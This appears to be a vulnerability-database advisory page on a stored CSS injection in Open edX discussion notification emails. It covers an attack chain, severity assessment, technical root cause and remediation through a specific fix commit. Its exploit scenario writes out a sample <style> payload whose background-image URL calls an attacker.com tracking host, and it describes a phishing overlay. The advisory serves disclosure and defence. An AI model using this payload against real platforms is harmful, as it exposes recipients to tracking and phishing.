Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEnroll in course as student
-
DeliveryAuthor discussion post with <style> tag
-
ExploitSystem emails notification to other users
-
ExecutionEmail client renders HTML and CSS
-
PersistExecute malicious stylesheet
-
ImpactExfiltrate IP address or display phishing overlay
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | An attacker must be enrolled as a student in the Open edX course where they can author discussion posts. The HTML sanitizer must be applied to the post content (standard in notification email generation), and the notification must be sent via email (not in-platform notifications). Recipients must open the email notification in an email client that renders HTML and interprets CSS, which is the default behavior for most email clients. No special course configuration, feature flag, or non-default setting is required; this vulnerability affects standard discussion notification email pipelines. The vulnerability is limited to email notifications specifically; in-platform discussion viewing may use different sanitization. Email clients that render CSS are a prerequisite, but this is the standard case (Outlook, Gmail, Apple Mail, etc. all render CSS), making the condition effectively universal among typical users. |
| Impact | This vulnerability presents moderate real-world risk despite its modest 4.6 CVSS score. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L) correctly reflects network accessibility, low attack complexity, and requirement for prior authentication (PR:L = enrolled student status) and user interaction (UI:R = recipient must open the email). However, three factors elevate practical risk: (1) the exploitation condition (any enrolled student can inject CSS) is extremely common in learning platforms where discussion participation is widespread, (2) the impact includes email tracking and phishing, both high-value attack objectives in educational and enterprise settings, and (3) email content spoofing can target instructors, administrators, or other students at scale. The requirement for user interaction (email open) and scope unchanged (S:U) correctly limits severity compared to reflected XSS, but does not eliminate the threat. This is a legitimate authenticated stored XSS with realistic attack scenarios in multi-user learning environments. No EPSS score, KEV status, or public POC was provided in the input, but the presence of a GitHub security advisory and commit fix indicates vendor awareness and remediation. The low CVSS score should not lead to deprioritization given the attack vector (enrolled users) and multi-user impact (email notifications broadcast to many recipients). |
| Exploit ScenarioDerived | An enrolled student in an Open edX course creates a discussion post containing a malicious <style> tag with a background-image URL pointing to an attacker-controlled server (e.g., <style>body { background-image: url('https://attacker.com/track?user=') }</style>). When another student or instructor receives the email notification of this post, their email client renders the HTML content and attempts to load the background image, leaking their IP address to the attacker's server. Alternatively, the attacker injects CSS to create an overlay form using absolute positioning and display properties, spoofing a login prompt or phishing form within the email body. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Stored cross-site scripting (XSS) via CSS injection in Open edX Platform allows enrolled students to inject arbitrary CSS into discussion notification emails sent to other users by bypassing insufficient HTML sanitization in the clean_thread_html_body() function. The vulnerability affects all versions prior to the fix commit and enables email tracking through malicious stylesheets, content spoofing, and phishing attacks against recipients who view notification emails.
RemediationAI
Apply the upstream fix by updating Open edX Platform to a patched version that includes commit cddc25cd791bb78f76833896e4778f668861df12 or later. The fix adds <style> tag decomposition to the clean_thread_html_body() function in lms/djangoapps/discussion/rest_api/discussions_notifications.py. If immediate patching is not feasible, implement compensating controls: (1) Disable or restrict the HTML discussion feature in notification emails by rendering discussion content as plain text instead of HTML, which eliminates CSS injection vectors at the rendering layer but may reduce email formatting quality. (2) Implement a Content Security Policy (CSP) header in email clients or email gateway settings that blocks inline styles (style-src 'none'), though this depends on email client support and may not be universally enforced. (3) Audit discussion posts for suspicious <style> tags in the discussion moderation tools and remove flagged posts; this is reactive but identifies active exploitation. (4) Restrict discussion posting privileges to trusted users (instructors, teaching assistants) rather than all enrolled students if pedagogically acceptable, reducing the attacker population. Refer to GitHub commit https://github.com/openedx/openedx-platform/commit/cddc25cd791bb78f76833896e4778f668861df12 for implementation details and test cases.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the discussion notification email rendering pipeline of Open edX Platform. The clean_thread_html_body() function in lms/djangoapps/discussion/rest_api/discussions_notifications.py is responsible for sanitizing user-generated HTML content from discussion posts before it is rendered in email templates. However, this function fails to remove <style> tags, which are then rendered with Django's |safe template filter in email notification templates. When recipients open the email, the browser interprets the arbitrary CSS, allowing attackers to exploit CSS capabilities such as background-image URLs to exfiltrate IP addresses (via DNS/HTTP requests to attacker-controlled domains), overlay phishing forms using absolute positioning, or perform visual content spoofing. The root cause is incomplete HTML tag stripping (CWE-79: Improper Neutralization of Input During Web Page Generation). The fix (commit cddc25cd791bb78f76833896e4778f668861df12) adds <style> tag decomposition logic alongside content removal to fully eliminate CSS injection vectors.
Know when Openedx Platform gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
Open edX Platform enables the authoring and delivery of online learning at any scale. The HTML sanitizer clean_thread_html_body() used for discussion notification emails fails to remove <style> tags from user-generated discussion post content. This content is rendered with Django's |safe template filter in email notification templates, allowing any enrolled student to inject arbitrary CSS into email notifications sent to other users. This enables email tracking (IP address disclosure), content spoofing, and phishing attacks. This vulnerability is fixed with commit cddc25cd791bb78f76833896e4778f668861df12.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Openedx Platform
View allServer-side request forgery in the Open edX Platform SAML provider-data sync endpoint lets an authenticated user holding
Missing authorization on the `set_course_mode_price()` instructor endpoint in Open edX Platform allows any authenticated
Server-Side Request Forgery with full response exfiltration in Open edX Platform's Studio CMS video download endpoint al
HTML/CSS injection in Open edX Platform discussion-notification emails allows an authenticated, enrolled student to embe
Open edX Platform versions prior to commit 76462f1e5fa9b37d2621ad7ad19514b403908970 suffer from an open redirect vulnera
Any authenticated Open edX learner can reach the help-desk-only endpoint GET /api/support/v1/manage_course_team/ and use
Open edX Platform from maple release through ulmo allows unauthenticated attackers to bypass email verification by explo
OAuth nonce replay attacks against Open edX LMS's LTI 1.1 Provider endpoint allow an attacker who intercepts a valid LTI
Authenticated course authors or staff holding course-import permission in Open edX Studio (CMS) can break out of the int
EUVD-2026-29165
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB